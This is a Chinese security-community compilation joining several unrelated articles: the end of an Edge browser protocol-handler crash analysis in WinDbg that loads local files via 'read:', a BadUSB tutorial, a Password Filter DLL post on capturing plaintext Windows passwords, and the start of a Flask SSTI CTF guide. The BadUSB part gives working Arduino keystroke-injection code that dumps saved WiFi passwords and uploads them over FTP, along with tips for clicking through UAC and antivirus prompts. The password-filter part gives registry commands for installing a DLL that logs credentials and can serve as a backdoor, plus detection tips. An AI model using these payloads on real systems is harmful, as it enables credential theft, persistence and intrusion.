测试链接在这里：<http://unsafe.cracking.com.ar/demos/edgeprotocols/popups.html>
我们来看看HTML5沙箱怎么样？如果你不是很熟悉它，那么它只是一种使用sandbox iframe属性和sandbox
http头对网页施加的限制。例如，如果我们想在一个iframe中渲染内容，并且要确保它不运行javascript（甚至不能打开新标签页），那么我们只需使用此标签：
<iframe src =“sandboxed.html”sandbox> </ iframe>
之后渲染的页面会被完全限制住。基本上它就只会渲染HTML和CSS了，就没有javascript或像访问cookie这样的东西了。事实上，如果我们控制沙盒粒度，并允许新建窗口或标签页，那么所有的这些新建的窗口和标签页以及打开的链接都会继承沙盒属性。然而，使用microsoft-edge协议可以完完全全的绕过这一点。
测试链接：<http://unsafe.cracking.com.ar/demos/sandboxedge/>
很高兴可以看到microsoft-edge协议允许我们bypass不同的限制。我没有进一步的进行尝试，但是你可以试试看！这是一趟发现之旅，记住只是一个tweet（推文）触发了我进一步探索的动机，并且最终带给了我们一些真正值得研究的东西。
我继续在注册表编辑器中按F3，并且发现了read：协议，它引起了我的注意。因为当阅读它的javascript源代码时我发现它有UXSS的潜力，但是在我尝试的时候Edge浏览器不断的崩溃。它崩溃的次数实在是太多了。
例如，将iframe的位置设置为“read：”就足以崩溃掉浏览器，甚至包括所有的选项卡。你想要试试看看吗？
测试链接：<http://unsafe.cracking.com.ar/demos/edgeprotocols/readiframecrash.html>
好吧。。我很好奇到底是发生了什么，所以我在read：协议后面附加了几个字节，并使用WinDbg看看崩溃是否与无效的数据有关。为了实现起来简单又方便，我没有进行fuzzing或其它特殊的操作，只是诸如：
read:xncbmx,qwieiwqeiu;asjdiw!@#$%^&*
哦，是的，我真的只是随便打了些这样的东西。我发现唯一的不会导致崩溃的读协议是加载了来自http[s]的内容的。其它的任何东西都会导致崩溃。
所以我们把WinDbg附加到Edge进程上。首先杀掉Edge进程和它的所有子进程，然后重新打开Edge进程并附加到使用EdgeHtml.dll模块的最新进程上进行调试。当然有更简单的方法，但是…是的，我就是这么做的。
打开命令行然后…
taskkill /f /t /im MicrosoftEdge.exe
** Open Edge and load the webpage but make sure it doesn't crash yet **
tasklist /m EdgeHtml.dll
这就足够了。现在打开WinDbg并附加到使用EdgeHtml模块的最新列出的Edge进程上。然后别忘了在WinDbg中挂上调试符号。
一旦附加成功，只需要按F5或者输入g，就可以让Edge进程继续运行。这是我的屏幕现在看起来的样子。在左边，有我用来测试的页面，在右边，是WinDbg附加到的特定的Edge进程。
我们将使用一个window.open与read：协议配合，来取代iframe。因为它更舒服。想想看，无论它们是哪种框架，协议/网址都可能会最终改变顶部的位置。
如果我们开始在iframe中使用协议，有可能我们自己的页面会被卸载，这会丢失我们刚刚输入的代码。我的特定测试页保存了我输入的内容，如果浏览器崩溃，它很可能会被恢复。但即使一切都已经保存，当我测试代码时，也可以改变我的测试页URL，我在一个新的窗口中打开它只是一个个人习惯。
在左侧屏幕上，我们可以快速的输入和执行JavaScript代码，右侧我们有WinDbg准备揭示这个崩溃后面发生了什么。让我们运行JavaScript代码并且等待在WinDbg里中断下来。
ModLoad: ce960000 ce996000 C:WindowsSYSTEM32XmlLite.dll
ModLoad: c4110000 c4161000 C:WindowsSystem32OneCoreCommonProxyStub.dll
ModLoad: d6a20000 d6ab8000 C:WindowsSYSTEM32sxs.dll
(2c90.33f0): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
EdgeContent!wil::details::ReportFailure+0x120:
84347de0 cd29 int 29h
OK，看起来Edge知道出现了问题，因为它处于一个名为“ReportFailure”的函数中对不对？来吧，我知道我们可以立即假设，如果Edge中断在这里，它只是崩溃的“优雅”了一点。因此，让我们看看栈回溯，来看看我们是从哪里调用过来的。在WinDbg中输入“k”。
0:030> k
# Child-SP RetAddr Call Site
00 af248b30 88087f80 EdgeContent!wil::details::ReportFailure+0x120
01 af24a070 880659a5 EdgeContent!wil::details::ReportFailure_Hr+0x44
02 af24a0d0 8810695c EdgeContent!wil::details::in1diag3::FailFast_Hr+0x29
03 af24a120 88101bcb EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7c
04 af24a170 880da669 EdgeContent!CReadingModeViewer::Load+0x6b
05 af24a1b0 880da5ab EdgeContent!CBrowserTab::_ReadingModeViewerLoadViaPersistMoniker+0x85
06 af24a200 880da882 EdgeContent!CBrowserTab::_ReadingModeViewerLoad+0x3f
07 af24a240 880da278 EdgeContent!CBrowserTab::_ShowReadingModeViewer+0xb2
08 af24a280 88079a9e EdgeContent!CBrowserTab::_EnterReadingMode+0x224
09 af24a320 d9e4b1d9 EdgeContent!BrowserTelemetry::Instance::2::dynamic
0a af24a3c0 8810053e shlwapi!IUnknown_Exec+0x79
0b af24a440 880fee33 EdgeContent!CReadingModeController::_NavigateToUrl+0x52
0c af24a4a0 88074f98 EdgeContent!CReadingModeController::Open+0x1d3
0d af24a500 b07df508 EdgeContent!BrowserTelemetry::Instance'::2::dynamic
0e af24a5d0 b0768c47 edgehtml!FireEvent_BeforeNavigate+0x118
先看看前两行，函数名字都叫XXX
ReportFailure，你不觉得Edge是因为出了问题才会执行到这里的吗？那当然了！让我们继续找下去，直到我们找到一个有意义的函数名。下一个叫XXX
FailFast，它看起来也像是一个Edge知道出了问题之后调用的函数。但是我们想找的是导致Edge出问题的代码，所以继续往下读。
下一个是XXX
_LoadRMHTML。这个看起来好多了，你不同意吗？事实上，它的名字让我觉得它是用于加载HTML的。在崩溃之前断下会很有趣，所以为什么不在_LoadRMHTML上面设置断点呢？我们检查了栈回溯，现在来看看代码。
让我们先从那个点开始反汇编。这很容易，在WinDbg中使用“ub”命令。
0:030> ub EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7c
EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a:
8810693a call qword ptr [EdgeContent!_imp_SHCreateStreamOnFileEx (882562a8)]
88106940 test eax,eax
88106942 jns EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7d (8810695d)
88106944 mov rcx,qword ptr [rbp+18h]
88106948 lea r8,[EdgeContent!`string (88261320)]
8810694f mov r9d,eax
88106952 mov edx,1Fh
88106957 call EdgeContent!wil::details::in1diag3::FailFast_Hr (8806597c)
我们将专注于函数名，并且忽略其它的一切，怎么样？就像我们在《trying to find a variation for the mimeType
bug》里做的一样（译注：作者的另一篇文章），如果我们失败了，我们就会继续深入分析。但有时在调试器上进行快速查看可以说明很多事情。
我们知道如果Edge执行到这个片段的最后一条指令时（地址88106957，FailFast_Hr）就会崩溃。我们的目的是想看看为什么我们会执行到那个地方，是谁导致了我们执行到那个地方。上面代码段的第一条指令似乎是调用了一个名字复杂的函数，这个函数显示了大量的信息。
EdgeContent！_imp_SHCreateStreamOnFileEx
在！号前面的部分是该指令所处模块的名称（译注：其实这只是个符号，跟指令搭不上边）。在这种情况下，它是EdgeContent，我们甚至不关心它的扩展名，只当它是代码。！之后有一个有趣的名字imp，然后SHCreateStreamOnFileEx似乎是一个表示“创建文件流”的函数名称。你觉得呢？事实上，imp让我想到，也许这是从不同的二进制文件中导入的函数。让我们google下它的名字，看看我们是否找到有趣的东西。
这很不错,第一个结果就是我们搜索的准确名称。让我们点开看看。
好。这个函数接收的第一个参数是“指向以空字符结尾的字符串指针，该字符串指定文件名”。有趣！如果这段代码正在执行，那么它应该接收一个指向文件名的指针作为第一个参数。但是我们怎么能看到第一个参数呢？很容易，因为我们正在调试Win
x64程序，函数调用约定规定“前4个参数是RCX，RDX，R8，R9”。这意味着第一个参数（指向文件名的指针）将被装入寄存器RCX中。
有了这些信息，我们可以在Edge调用这个函数之前设置一个断点，看看RCX在那个时刻的值是什么。但是首先我们需要重新启动进程，因为这个时候已经有点迟了：Edge进程已经崩溃了。请重新做上面描述的那些操作（杀死Edge进程，重新打开它，加载页面，找到进程并附加）。
这次，我们不再直接运行进程（F5），而是先设置一个断点。WinDbg显示了当我们执行“ub”命令时的准确偏移量。
0:030> ub EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7c
EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a:
8810693a ff1568f91400 call qword ptr [EdgeContent!_imp_SHCreateStreamOnFileEx (882562a8)]
88106940 85c0 test eax,eax
所以断点应该设置在EdgeContent！CReadingModeViewerEdge :: _ LoadRMHTML + 0x5a上。
我们输入“bp”命令跟上函数名+offset，再按[ENTER]就可以成功设置断点。然后输入“g”让Edge继续运行。
0:029> bp EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a
0:029> g
这很令人兴奋，我们想要在SHCreateStreamOnFileEx函数执行之前看到RCX指向的文件名（或字符串）。
让我们运行javascript代码并等待它中断下来。Windbg中断之后的信息如下所示：
Breakpoint 0 hit
EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a:
8820693a ff1568f91400 call qword ptr [EdgeContent!_imp_SHCreateStreamOnFileEx (883562a8)]
这太棒了，现在我们可以检查RCX寄存器指向的内容。为此，我们将使用“d”命令（显示内存内容）跟上寄存器名称，我们输入如下所示的命令：
0:030> d @rcx
02fac908 71 00 77 00 69 00 65 00-69 00 77 00 71 00 65 00 q.w.i.e.i.w.q.e.
02fac918 69 00 75 00 3b 00 61 00-73 00 6a 00 64 00 69 00 i.u.;.a.s.j.d.i.
02fac928 77 00 21 00 40 00 23 00-24 00 25 00 5e 00 26 00 w.!.@.#.$.%.^.&.
02fac938 2a 00 00 00 00 00 08 00-60 9e f8 02 db 01 00 00 *.......`.......
02fac948 10 a9 70 02 db 01 00 00-01 00 00 00 00 00 00 00 ..p.............
02fac958 05 00 00 00 00 00 00 00-00 00 00 00 19 6c 01 00 .............l..
02fac968 44 14 00 37 62 de 77 46-9d 68 27 f3 e0 92 00 00 D..7b.wF.h'.....
02fac978 00 00 00 00 00 00 08 00-00 00 00 00 00 00 00 00 ................
虽然这看起来不是很友好，但在第一行的右边我看到了一些类似于unicode字符串的东西。我使用du命令来让它显示为unicode字符串。
0:030> du @rcx
02fac908 "qwieiwqeiu;asjdiw!@#$%^&*"
Nice!回头看看我们刚刚运行的JavaScript代码
看来，传递给这个函数的参数值就是在逗号后面输入的内容。当我们知道了这一点再加上知道它期望获得一个文件名之后，我们就可以尝试构造一个完整的路径来指向我的磁盘中的东西。因为Edge在AppContainer内部运行，我们尝试的是一个可访问的文件。例如windows/system32目录里的内容。
read:,c:windowssystem32driversetchosts
我们同时删除了逗号之前的垃圾数据，因为它似乎没什么作用（虽然它值得去做更多的研究！）。让我们快速的分离进程，并重新启动Edge来运行我们的新代码。
url = "read:,c:\windows\system32\drivers\etc\hosts";
w = window.open(url, "", "width=300,height=300");
正如预期，本地文件在新窗口中被加载并且没有发生崩溃。
测试链接:<http://unsafe.cracking.com.ar/demos/edgeprotocols/localfile.html>
我的研究在这里就告一段落了，但我相信这些东西值得去进一步研究，当然这取决于你个人的兴趣：
A）枚举所有可加载的协议，并通过查询字符串来攻击那些应用程序。
B）测试microsoft-edge：这可以绕过HTML5沙箱、弹出窗口拦截器（popup blocker）和谁知道是什么鬼东西。
C）继续研究read：协议。我们找到了一种方法来阻止它崩溃，但是请记住我们可以控制SHCreateStreamOnFileEx函数期望的值！这值得我们进行更多的尝试。此外，我们可以研究一下传入的参数，看看是否使用逗号分割参数等等。如果你认为调试二进制文件是很无聊的，那么你可以尝试使用XSS阅读视图。
我希望你找到成吨的漏洞！如果你有问题，请通过@magicmac2000来找我。
祝你今天愉快！ | 社区文章 |
# BadUSB攻防研究浅谈
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 序言
随着”网络强国战略”的实施，越来越多的企业着重网络安全的建设，企业在维护企业网络安全上煞费苦心，开发人员定期的进行安全开发培训，尽可能的减少在软件开发时期漏洞的产生，还通过添加硬件防火墙，入侵检测系统、防御系统等安全设备防御外部对企业的威胁，这些有效的手段即增强了企业网络的安全性，但是也导致现在的Web渗透测试难度越发提高。即使代码层面存在着高风险漏洞，但是由于安全设备的介入，仍给测试人员一头重击，导致了『无从下手』的尴尬处地。如果需要进一步的对目标进行安全检测，便只能在其它方面进行安全测试，比如社工攻击测试。本文会介绍Web攻击以外的一种攻击测试手法，社工攻击中的badusb攻击。
## 简介
社工攻击：全称社会工程学攻击，主要通过心理弱点、本能反应、好奇心、信任、贪婪等一些心理陷阱进行的诸如欺骗、伤害、信息盗取、利益谋取的行为。以信息泄露事件为例。信息泄露的原因不只是由于网络入侵方面，还有另外一种威胁，这种威胁不是技术层面导致的，而是来自可能得企业人为泄露，如误操作，被恶意攻击人员，钓鱼等等。而这种不属于技术层面的攻击便就是社工攻击。
BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备通常指的就是键盘鼠标等与人交互的设备，用户插入BadUSB，就会自动执行预置在固件中的恶意代码，如下载服务器上的恶意文件，执行恶意操作等。由于恶意代码内置于设备初始化固件中，而不是通过autorun.inf等媒体自动播放文件进行控制，因此无法通过禁用媒体自动播放进行防御，杀毒软件更是无法检测设备固件中的恶意代码。
本文会详细的介绍下BadUSB的一些原理，代码详解，以及制作方法，先看一下固件中的代码形式，一个简单的小demo，执行结果为打开cmd命令框。
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("CMD");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop()
{}
讲解这个小demo代码原理。
#include <Keyboard.h>
void setup() {
}
void loop()//循环
{}
首先这一部分代码为固定代码，主要是导入键值库，然后分void setup，void loop两部分，分别代表执行一次，以及循环执行。
Keyboard.begin();
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("CMD");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
这一部分只要为执行代码，首先介绍下再第一部分引入的keyboard库，常见的API如下：
Keyboard.begin()，开启键盘通讯
Keyboard.end()，关闭键盘通讯
Keyboard.press()，按住某键
Keyboard.println()，输入字符
Keyboard.release()，释放某键
delay()，暂停多少毫秒
解释下delay()，在执行Keyboard动作之后，应适当插入delay(),以防止因为主机问题出现的延迟导致程序无法执行。
再次览读第二部分代码，首先开启键盘通讯，按压KEY_LEFT_GUI键，KEY_LEFT_GUI该键位对应的键为键盘上的WIN键，再按压R键，释放全部按键，此时执行效果为WIN+R打开了运行框，随即输入了CMD，再次按压回车键，释放回车键，关闭键盘通讯。此时的执行效果为再运行框输入CMD后按回车，打开CMD命令框。
看一下效果图：
接下来再分享一个小demo，实现的功能主要是获取电脑保存的wifi密码信息
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("CMD");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("ftp FTP地址"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("username"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("password"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("put d:/wifi.txt"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("bye"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("exit"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop()
{}
介绍下以上代码的执行过程以及结果，首先调用运行框调取命令框，输入以下代码。
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt
这段代码主要的目的是获取保存在电脑中的wifi信息并保存为wifi.txt文本。接下来再通过命令行下利用FTP上传这个文件到指定的FTP服务器，完成密码的获取上传。
通过上面的两个demo可以发现，BadUSB可以实现理论上键盘上可执行的任何操作，比如远程下载木马，获取目标权限，文件窃取等。上面的demo是针对Windows进行攻击，BadUSB除了可对Windows有效，还对MacOS，Linux等均有效。
下面在展示一个针对MacOS的利用脚本,首先Windows和MacOS的调取命令行不同，Windows调用命令行的是win+R，调用运行窗体，输入CMD回车即可打开终端。MacOS调用命令行是Command+空格，这个是mac的聚焦搜索。通过该功能可查询电脑内的功能app，输入Terminal.app，回车可直接进入命令行。还有另外一种方式，比较复杂，但是还可以达到效果，代码如下：
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('q');
delay(100);
Keyboard.release('q');
Keyboard.release(KEY_LEFT_GUI);
delay(100);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(100);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('q');
delay(100);
Keyboard.release('q');
Keyboard.release(KEY_LEFT_GUI);
delay(100);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(100);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('f');
delay(100);
Keyboard.release('f');
Keyboard.release(KEY_LEFT_GUI);
delay(200);
Keyboard.println("TERMINAL.APP");
delay(100);
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
delay(200);
Keyboard.press('1');
Keyboard.release('1');
delay(100);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('o');
delay(100);
Keyboard.release('o');
Keyboard.release(KEY_LEFT_GUI);
delay(200);
Keyboard.println("WHOAMI");
delay(100);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop()
{}
解释下这段代码，首先执行Command+q关闭当前窗口，防止多窗口关闭需要确认，所以执行了回车键，如没有开启的界面，该操作不影响程序的运行。接下来调用了访达的查询命令Command+f，输入需要查询的app。
这是需要按一下TAB键，进行选中，再次输入一个’1’，即可选中当前的终端.app，再执行Command+o便可以打开终端。效果图如下：
Linux桌面版的调用终端，以CentOS为例，按住键盘win键+t可调出查询窗体，输入终端信息，回车即可打开终端
如果是linux命令行版的就更方便了，可直接Keyboard.println()进行命令的输入等。
制作：
讲解了如何构造代码，接下来就讲一下如何制作BadUSB，BadUSB制作的材料主要是Arduino开发板，以及Arduino的开发工具。
首先开发板可直接在某宝上进行购买，分单片版以及仿USB版。至于差别呢就是一个套上了USB的壳子，使得在外形上更具有迷惑性。
开发工具为Arduino，可在官网进行下载，界面如下：
首先需要确定购买的开发版信息，插入开发板，点击工具-获取开发板信息
根据提示的信息选择开发模式类型，点击工具-开发板
再次选择编程器，点击工具-编程器选用USBasp
接下来将程序写入代码框内，先选择1验证代码，在选择2上传代码
上传结束后，一个BadUSB就制作完成了。
## 问题解疑
由于代码上面的代码只是简单的执行了指定的动作或者输入，如果某一步执行失败后面的代码均无法执行，导致BadUSB的失效。以及一些安全软件会根据执行的动作阻碍脚本执行。如脚本执行了远程下载命令，某数字防护软件便会提示疑似的风险行为。主要遇到的问题如下：
问题1.电脑默认输入法为汉字，输入命令时真实输入的为汉字，影响命令执行？
解答：如果默认输入法为汉字输入法，可调用再输入命令前先执行按压大写键，这样即使是输入法为汉字也能输入大写的命令，而Windows命令行大写命令也可以识别。MacOS，Linux桌面版等同，Linux命令行版很少存在输入法问题。
问题2：如果电脑不管是默认的汉字输入法，且大写功能已经开启，而上面的大写键又取消了大写功能，输入的还是乱码？
解答：还是用上面的办法去进行绕过，不过才用的是键盘的快捷操作，按住shift再加上输入的命令，不管是在大写功能开启与否的状态，还是汉字输入法启用与否的情况下都可以完成大写的命令输入。
问题3：由于电脑的性能问题，导致命令行窗口还未打开，命令就执行结束了，导致操作的失败？
解答：这个问题可以合理的设置按键后的delay(毫秒)值
问题4：安全软件的虽然无法阻止BadUSB的执行，但是执行某exe文件或者执行远程下载文件命令时会提示警告，或者执行EXE文件时权限可能是不够，所以会弹出UAC警告，会影响程序的执行，如下图？
解答：通常安全软件或者UAC的提醒通常的默认选项实在”否”的按键上，可通过调用键盘的方向右键或者SHIFT+TAB再点击回车进行绕过，这两个操作在代码层次上不会影响代码的执行。针对UAC，还可以以管理员权限开启CMD进行绕过。方法是先按下Win键会弹出开始菜单界面，然后直接输入cmd.exe，开始界面会自动搜寻出系统的cmd应用程序，这时候使同时按下CTRL+SHIFT+ENTER
就会弹出UAC的确认界面，然后再用ALT+Y 就能打开一个具有管理员权限的Cmd窗口。
## 防御
上文中说到，由于恶意代码内置于设备初始化固件中，而不是通过autorun.inf等媒体自动播放文件进行控制，因此无法通过禁用媒体自动播放进行防御，杀毒软件更是无法检测设备固件中的恶意代码。目前也没有什么有效的方式去防御BadUSB，毕竟无法阻挡电脑去识别键盘鼠标此类的HID设备。所以说针对BadUSB的防御方法还是在于人员的安全意识上，当发现可疑的U盘时切莫因好奇插入自己的电脑
## 警告
本实验仅供研究测试，严禁用此执行任何非法操作。云众可信提醒您：
道路千万条，自律第一条，做事不规范，亲人两行泪。 | 社区文章 |
## 0x00 前言
在之前的文章《域渗透——Hook PasswordChangeNotify》介绍了通过dll注入Hook
PasswordChangeNotify来记录新密码的方法，相当于是对API PasswordChangeNotify的利用。
我们知道，API PasswordChangeNotify是Password Filter DLL的一个功能函数，那么，对于Password Filter
DLL本身，能否直接开发一个可供利用的DLL呢？
## 0x01 简介
本文将要介绍以下内容：
* Password Filter DLL简介
* 利用Password Filter DLL记录明文密码
* 利用Password Filter DLL实现的后门
* 非Windows Server系统下的应用
## 0x02 Password Filter DLL简介
现实中使用Windows系统时，为了提高系统安全性，防止用户密码被暴力破解，系统管理员往往会对用户密码的复杂度提出要求，可通过配置组策略开启
位置如下：
`gpedit.msc` -> `本地计算机策略` -> `计算机配置` -> `Windows设置` -> `安全设置` -> `帐户策略` ->
`密码策略` -> `密码必须符合复杂性要求`
启用后，密码必须符合下列最低要求:
* 不能包含用户的帐户名，不能包含用户姓名中超过两个连续字符的部分
* 至少有六个字符长
* 包含以下四类字符中的三类字符:
* 英文大写字母(A 到 Z)
* 英文小写字母(a 到 z)
* 10 个基本数字(0 到 9)
* 非字母字符(例如 !、$、#、%)
默认值:
* 在域控制器上启用
* 在独立服务器上禁用
如果该策略仍无法满足对密码复杂度的要求，可以使用Password Filter DLL进一步提高密码的复杂度
### 实现思路：
1. 通过修改注册表的方式安装Password Filter DLL
2. 用户修改密码时，自动加载Password Filter DLL，导入明文密码
3. 在Password Filter DLL中开发者可以自定义密码复杂度，同明文密码的复杂度进行比较，如果明文密码不满足复杂度条件，弹框提醒用户，密码修改失败
具体使用方法可参考官方文档：
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx>
## 0x03 Password Filter DLL的开发
支持以下三个函数：
* BOOLEAN InitializeChangeNotify(void);
* NTSTATUS PasswordChangeNotify( _In_ PUNICODE_STRING UserName, _In_ ULONG RelativeId, _In_ PUNICODE_STRING NewPassword);
* BOOLEAN PasswordFilter( _In_ PUNICODE_STRING AccountName, _In_ PUNICODE_STRING FullName, _In_ PUNICODE_STRING Password, _In_ BOOLEAN SetOperation);
参考资料：
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms721849(v=vs.85).aspx#password_filter_functions>
值得注意的地方：
* API PasswordChangeNotify和PasswordFilter的传入参数均包括用户的明文密码
* API PasswordFilter的返回值为TRUE表示密码符合要求，返回FALSE表示密码不符合复杂度要求，弹框提示用户修改
* 在编写Password Filter DLL时，需要声明导出函数
提供一个可供参考的POC，地址如下：
<https://github.com/3gstudent/PasswordFilter>
该工程声明了导出函数`InitializeChangeNotify`、`PasswordChangeNotify`和`PasswordFilter`
分别使用`PasswordChangeNotify`和`PasswordFilter`记录明文密码，保存在`c:\logFile1`和`c:\logFile2`
在编译时需要同目标系统的平台对应
%wZ表示输出PUNICODE_STRING，unicode的字符串指针类型
## 0x04 Password Filter DLL的安装
1、注册表`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa`下的`Notification
Packages`，添加Password Filter DLL的名称，不包括后缀名.dll
2、将Password Filter DLL保存在%windir%\system32\下
3、组策略开启组策略密码必须符合复杂性要求
4、重启系统(注销当前用户不会生效)
5、修改任一用户密码，加载Password Filter DLL
### 实际测试：
测试系统： Windows Server 2008 R2 x64
将Password Filter DLL工程编译生成64位的Win32Project3.dll
1、将Win32Project3.dll保存在%windir%\system32\下
2、修改注册表键值`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa`下的`Notification
Packages`，添加`Win32Project3`
如下图
通过命令行实现的方式如下：
读取键值：
REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
获得键值内容：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Notification Packages REG_MULTI_SZ scecli\0rassfm
添加Win32Project3：
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0Win32Project3" /f
**注：**
`\0`表示换行
3、Windows Server系统的组策略默认开启密码必须符合复杂性要求
4、重启系统
5、修改用户密码
6、记录明文密码
如下图
**注：**
能够记录所有用户，包括未登录用户
## 0x05 域环境下的应用
### 1、记录明文密码
针对域控服务器,需要获得域控服务器权限，在%windir%\system32\下放置Password Filter DLL，修改注册表键值
#### 优势：
域控服务器默认开启组策略密码必须符合复杂性要求
#### 不足：
必须重启系统才能生效，对于域控服务器来说，很少重启
#### 扩展：
将payload改为将明文密码发送至Web服务器，可供参考的代码地址：
<https://malicious.link/post/2013/2013-09-11-stealing-passwords-every-time-they-change/>
### 2、后门
将Password Filter DLL改为启动后门，例如弹回Meterpreter的shell
域内任一用户在修改密码时均会加载Password Filter DLL，弹回高权限的shell
## 0x06 非Windows Server系统的应用
目前大部分资料均认为Password Filter DLL仅适用Windows Server系统
对于非Windows Server系统来说，同样可以使用，只是组策略默认禁用`组策略密码必须符合复杂性要求`
因此需要注意以下问题：
### 1、命令行查看当前系统的组策略配置
组策略配置存储在数据库中，位于`%windir%\security\database\secedit.sdb`
读取命令如下(管理员权限)：
secedit /export /cfg gp.inf /quiet
参数说明：
* 没有设置/db参数，表示数据库采用默认`%windir%\security\database\secedit.sdb`
* /quiet表示不生成日志，否则生成的日志默认保存在`%windir%\security\logs\scesrv.log`
命令执行后生成文件gp.inf，查看gp.inf中的PasswordComplexity项，1代表开启，0代表关闭
**注：**
gp.inf中的内容不完整，想要获得完整的组策略配置还需要读取注册表
### 2、修改组策略配置，开启组策略密码必须符合复杂性要求
首先导出配置文件gp.inf，将PasswordComplexity项设为1，保存
导入数据库：
secedit /configure /db gp.sdb /cfg gp.inf /quiet
刷新组策略，立即生效(否则，重启后生效)：
gpupdate/force
## 0x07 防御检测
根据利用思路，攻击者首先需要获得当前系统的管理员权限
检测思路如下：
1、查看`%windir%\system32\`下有无可疑dll
2、查看注册表键值`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa`下的`Notification
Packages`
3、查看进程lsass.exe加载的dll
如下图
## 0x08 小结
Password Filter DLL本是系统提供的正常功能，但如果获得了系统的管理员权限，利用这项功能不仅能够记录明文密码，还能用作后门。
本文结合具体的利用思路，介绍了检测方法。 | 社区文章 |
# 浅谈 CTF-Web 中常见的 Python 题型与解题姿势
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
打 CTF 已经有一段时间了，今天在就此总结一下 CTF-Web 中常见的 Python 题型与解题姿势。
## Flask Jinja2 SSTI
这一块没什么好说的了，网上关于 SSTI 的文章已经烂大街了，各种题型也已经被师傅们琢磨透了，在此我只是简单的提一下。SSTI
就是服务器端模板注入(Server-Side Template
Injection)，也给出了一个注入的概念，通过与服务端模板的输入输出交互，在过滤不严格的情况下，构造恶意输入数据，从而达到读取文件或者 Getshell
的目的，目前CTF常见的SSTI题中，大部分是考 Python 和 PHP 的。其中 Python 的 SSTI 考 Flask Jinja2 的居多。
Jinja2 是默认的仿 Django 模板的一个模板引擎，由 Flask 的作者开发。网上搜的基本语法：
* **模板**
{{ ... }}：变量包裹标识符，装载一个变量，模板渲染的时候，会使用传进来的同名参数将这个变量代表的值替换掉。
{% ... %}：装载一个控制语句，if、for等语句。
{# ... #}：装载一个注释，模板渲染的时候会忽视这中间的值
* **变量**
在模板中添加变量，可以使用 set 语句。
{% set name='xx' %}
`with`语句来 **创建一个内部的作用域** ，将set语句放在其中，这样创建的变量只在with代码块中才有效
{% with gg = 42 %}
{{ gg }}
{% endwith %}
* **if语句**
{% if ken.sick %}
Ken is sick.
{% elif ken.dead %}
You killed Ken! You bastard!!!
{% else %}
Kenny looks okay --- so far
{% endif %}
* **for语句**
{% for user in users %}
{{ user.username|e }}
{% endfor %}
* **遍历**
{% for key, value in <strong>my_dict.iteritems()</strong> %}
{{ key|e }}
{{ value|e }}
{% endfor %}
我们知道，SQL 注入是从用户获得一个输入，然后由后端脚本语言进行数据库查询，当没有做好相应的过滤时便可以可以利用输入来拼接我们想要的 SQL
语句造成SQL 注入。SSTI 也是获取了一个输入，在后端的渲染处理上进行了语句的拼接，然后语句得到执行并又模板引擎渲染输出结果。
来看一个简单的例子：
